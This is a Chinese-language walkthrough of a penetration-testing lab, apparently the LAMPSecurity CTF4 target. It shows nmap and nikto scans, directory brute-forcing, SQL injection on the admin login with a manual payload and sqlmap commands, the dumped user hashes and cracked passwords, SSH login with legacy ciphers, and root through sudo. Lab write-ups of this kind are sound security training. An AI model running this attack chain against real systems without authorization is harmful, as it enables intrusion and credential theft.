端口扫描主机发现
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探测存活主机，
138是靶机nmap -sP 192.168.75.0/24 // Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-23 14:13 CST Nmap scan report for 192.168.75.1 Host is up (0.00062s latency). MAC Address: 00:50:56:C0:00:08 (VMware) Nmap scan report for 192.168.75.2 Host is up (0.00046s latency). MAC Address: 00:50:56:FB:CA:45 (VMware) Nmap scan report for 192.168.75.138 Host is up (0.00020s latency). MAC Address: 00:0C:29:46:5F:67 (VMware) Nmap scan report for 192.168.75.254 Host is up (0.00027s latency). MAC Address: 00:50:56:F8:B3:1A (VMware) Nmap scan report for 192.168.75.131 Host is up. -
探测主机所有开放端口
nmap -sT -min-rate 10000 -p- 192.168.75.138 Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-23 14:16 CST Nmap scan report for 192.168.75.138 Host is up (0.00064s latency). Not shown: 65512 filtered tcp ports (no-response), 19 filtered tcp ports (host-unreach) PORT STATE SERVICE 22/tcp open ssh 25/tcp open smtp 80/tcp open http 631/tcp closed ipp MAC Address: 00:0C:29:46:5F:67 (VMware) -
探测服务版本以及系统版本
nmap -sT -sV -O -p22,80,25,631 192.168.75.138 // Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-23 14:20 CST Nmap scan report for 192.168.75.138 Host is up (0.00046s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 4.3 (protocol 2.0) 25/tcp open smtp Sendmail 8.13.5/8.13.5 80/tcp open http Apache httpd 2.2.0 ((Fedora)) 631/tcp closed ipp MAC Address: 00:0C:29:46:5F:67 (VMware) Device type: general purpose|remote management|terminal server|switch|proxy server|WAP Running (JUST GUESSING): Linux 2.6.X|3.X|4.X (98%), Control4 embedded (96%), Lantronix embedded (96%), SNR embedded (95%), SonicWALL embedded (94%), Dell iDRAC 6 (94%) OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/h:lantronix:slc_8 cpe:/h:snr:snr-s2960 cpe:/o:sonicwall:aventail_ex-6000 cpe:/o:dell:idrac6_firmware cpe:/o:linux:linux_kernel:3.10 cpe:/o:linux:linux_kernel:4.1 Aggressive OS guesses: Linux 2.6.16 - 2.6.21 (98%), Linux 2.6.13 - 2.6.32 (96%), Control4 HC-300 home controller (96%), Lantronix SLC 8 terminal server (Linux 2.6) (96%), SNR SNR-S2960 switch (95%), SonicWALL Aventail EX-6000 VPN appliance (94%), Linux 2.6.8 - 2.6.30 (94%), Linux 2.6.9 - 2.6.18 (94%), Dell iDRAC 6 remote access controller (Linux 2.6) (94%), Linux 2.6.22 - 2.6.23 (94%) No exact OS matches for host (test conditions non-ideal). Network Distance: 1 hop Service Info: Host: ctf4.sas.upenn.edu; OS: Unix -
扫描漏洞
nmap -script=vuln -p 22,80,25 192.168.75.138 // Starting Nmap 7.93 ( https://nmap.org ) at 2024-09-23 14:25 CST Pre-scan script results: | broadcast-avahi-dos: | Discovered hosts: | 224.0.0.251 | After NULL UDP avahi packet DoS (CVE-2011-1002). |_ Hosts are all up (not vulnerable). // 扫描卡住不知道什么情况使用nikto扫描
nikto -host 192.168.75.138 -port 22,80,25,631 // - Nikto v2.5.0 --------------------------------------------------------------------------- --------------------------------------------------------------------------- --------------------------------------------------------------------------- --------------------------------------------------------------------------- + Target IP: 192.168.75.138 + Target Hostname: 192.168.75.138 + Target Port: 80 + Start Time: 2024-09-23 14:28:33 (GMT8) --------------------------------------------------------------------------- + Server: Apache/2.2.0 (Fedora) + /: Retrieved x-powered-by header: PHP/5.1.2. + /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options + /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/ + /robots.txt: Server may leak inodes via ETags, header found with file /robots.txt, inode: 487720, size: 104, mtime: Wed Dec 10 07:39:44 2014. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418 + /sql/: Directory indexing found. + /robots.txt: Entry '/sql/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file + /robots.txt: Entry '/conf/' is returned a non-forbidden or redirect HTTP code (500). See: https://portswigger.net/kb/issues/00600600_robots-txt-file + /robots.txt: Entry '/admin/' is returned a non-forbidden or redirect HTTP code (200). See: https://portswigger.net/kb/issues/00600600_robots-txt-file + /robots.txt: contains 5 entries which should be manually viewed. See: https://developer.mozilla.org/en-US/docs/Glossary/Robots.txt + Apache/2.2.0 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch. + OPTIONS: Allowed HTTP Methods: GET, HEAD, POST, OPTIONS, TRACE . + /: Web Server returns a valid response with junk HTTP methods which may cause false positives. + /: HTTP TRACE method is active which suggests the host is vulnerable to XST. See: https://owasp.org/www-community/attacks/Cross_Site_Tracing + /admin/login.php?action=insert&username=test&password=test: phpAuction may allow user admin accounts to be inserted without proper authentication. Attempt to log in with user 'test' password 'test' to verify. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2002-0995 + /usage/: Webalizer may be installed. Versions lower than 2.01-09 vulnerable to Cross Site Scripting (XSS). See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-0835 + /?=PHPB8B5F2A0-3C92-11d3-A3A9-4C7B08C10000: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: OSVDB-12184 + /?=PHPE9568F34-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: OSVDB-12184 + /?=PHPE9568F35-D428-11d2-A769-00AA001ACF42: PHP reveals potentially sensitive information via certain HTTP requests that contain specific QUERY strings. See: OSVDB-12184 + /admin/: This might be interesting. + /pages/: Directory indexing found. + /pages/: This might be interesting. + /admin/index.php: This might be interesting: has been seen in web logs from an unknown scanner. + /mail/src/read_body.php: Cookie SQMSESSID created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies + /mail/src/read_body.php: SquirrelMail found. + /icons/: Directory indexing found. + /images/: Directory indexing found. + /admin/admin.php?adminpy=1: PY-Membres 4.2 may allow administrator access. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2001-1198 + /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/ + /admin/login.php: Admin login page/section found. + /#wp-config.php#: #wp-config.php# file found. This file contains the credentials. + 9078 requests: 1 error(s) and 30 item(s) reported on remote host + End Time: 2024-09-23 14:29:18 (GMT8) (45 seconds) --------------------------------------------------------------------------- + 1 host(s) tested存在
/robots.txt，还发现了几个可能会有兴趣的目录优先级依然是
80最大
web渗透
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爆破目录
dirsearch -u 192.168.75.138 // [14:43:15] 301 - 315B - /admin -> http://192.168.75.138/admin/ [14:43:15] 200 - 2KB - /admin/ [14:43:15] 200 - 51B - /admin/admin.php [14:43:16] 200 - 2KB - /admin/index.php [14:43:16] 200 - 769B - /admin/login.php [14:43:27] 301 - 318B - /calendar -> http://192.168.75.138/calendar/ [14:43:27] 403 - 289B - /cgi-bin/ [14:43:29] 500 - 617B - /conf [14:43:29] 500 - 617B - /conf/ [14:43:29] 500 - 617B - /conf/catalina.properties [14:43:29] 500 - 617B - /conf/catalina.policy [14:43:29] 500 - 617B - /conf/context.xml [14:43:29] 500 - 617B - /conf/logging.properties [14:43:29] 500 - 617B - /conf/tomcat-users.xml [14:43:29] 500 - 617B - /conf/web.xml [14:43:29] 500 - 617B - /conf/Catalina [14:43:29] 500 - 617B - /conf/server.xml [14:43:29] 500 - 617B - /conf/tomcat8.conf [14:43:35] 403 - 287B - /error/ [14:43:39] 301 - 316B - /images -> http://192.168.75.138/images/ [14:43:39] 200 - 905B - /images/ [14:43:40] 301 - 313B - /inc -> http://192.168.75.138/inc/ [14:43:40] 200 - 1KB - /inc/ [14:43:44] 301 - 314B - /mail -> http://192.168.75.138/mail/ [14:43:44] 302 - 0B - /mail/ -> src/login.php [14:43:50] 301 - 315B - /pages -> http://192.168.75.138/pages/ [14:43:50] 200 - 1KB - /pages/ [14:43:57] 401 - 480B - /restricted [14:43:57] 200 - 104B - /robots.txt [14:44:01] 301 - 313B - /sql -> http://192.168.75.138/sql/ [14:44:02] 200 - 868B - /sql/ [14:44:08] 301 - 315B - /usage -> http://192.168.75.138/usage/ -
访问感兴趣的目录
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robots.txtUser-agent: * Disallow: /mail/ Disallow: /restricted/ Disallow: /conf/ Disallow: /sql/ Disallow: /admin/扫描出来的目录，无意义了
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http://192.168.75.138/mail/src/login.phpSquirreMail 的登陆页面 -
/sql/db.sql存在一个敏感文件，是创建表的数据，对sql注入可能有帮助use ehks; create table user (user_id int not null auto_increment primary key, user_name varchar(20) not null, user_pass varchar(32) not null); create table blog (blog_id int primary key not null auto_increment, blog_title varchar(255), blog_body text, blog_date datetime not null); create table comment (comment_id int not null auto_increment primary key, comment_title varchar (50), comment_body text, comment_author varchar(50), comment_url varchar(50), comment_date datetime not null); -
/restricted进入了提示让你输入入账号密码 -
/admin一个登陆界面，上面的sql文件应该是对应这个网站的
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尝试
sql注入/admin，因为db.sql把表结构爆出来了burp抓包来尝试sql注入username=admin'&password=1 // Problem with query: select user_id from user where user_name='admin'' AND user_pass = md5('1') You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1')' at line 2直接把
sql语句爆出来了，继续注入，可以使用sqlmap，将抓出来的包内容复制出来保存为post，然后使用sqlmap注入//POST 内容 POST /admin/index.php HTTP/1.1 Host: 192.168.75.138 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/png,image/svg+xml,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded Content-Length: 34 Origin: http://192.168.75.138 Sec-GPC: 1 Connection: keep-alive Referer: http://192.168.75.138/admin/ Upgrade-Insecure-Requests: 1 Priority: u=0, i username=*&password=1直接
sqlmap -r post -dbs爆出数据库名是ehks因为
index页面写着Professor Ehks Center for Data Studies，所以我们把他数据dump出来爆出用户数据，密码没爆出来
sqlmap -r post -D ehks -T user --dump // user_id user_name user_pass 1 dstevens 2 achen 3 pmoore 4 jdurbin 5 sorzek 6 ghighland单独
dump密码sqlmap -r post -D ehks -T user -C user_pass --dump // +--------------------------------------------------+ | user_pass | +--------------------------------------------------+ | 02e823a15a392b5aa4ff4ccb9060fa68 (ilike2surf) | | 64d1f88b9b276aece4b0edcc25b7a434 (pacman) | | 7c7bc9f465d86b8164686ebb5151a717 (Sue1978) | | 8f4743c04ed8e5f39166a81f26319bb5 (Homesite) | | 9f3eb3087298ff21843cc4e013cf355f (undone1) | | b46265f1e7faa3beab09db5c28739380 (seventysixers) | +--------------------------------------------------+ -
Blog后台和mail后台都可以登陆进去，寻找可利用点，甚至ssh-
Blog找不到可利用点 -
mail后台是SquirreMail1.4.17，存在远程代码执行漏洞，不过很麻烦先试试ssh -
ssh登陆显示，版本太旧的原因ssh [email protected] Unable to negotiate with 192.168.75.138 port 22: no matching key exchange method found. Their offer: diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1指令修改为即可尝试登录
ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -oHostKeyAlgorithms=+ssh-dss -oCiphers=+3des-cbc [email protected]最后使用
dstevens和ilike2surf成功登录获得shell
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提权
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查看当前shell权限
[dstevens@ctf4 ~]$ whoami dstevens [dstevens@ctf4 ~]$ dpkg -l -bash: dpkg: command not found [dstevens@ctf4 ~]$ sudo -l Password: User dstevens may run the following commands on this host: (ALL) ALL权限是超级高的，相当于root权限
[dstevens@ctf4 ~]$ sudo -i [root@ctf4 ~]#获得root权限了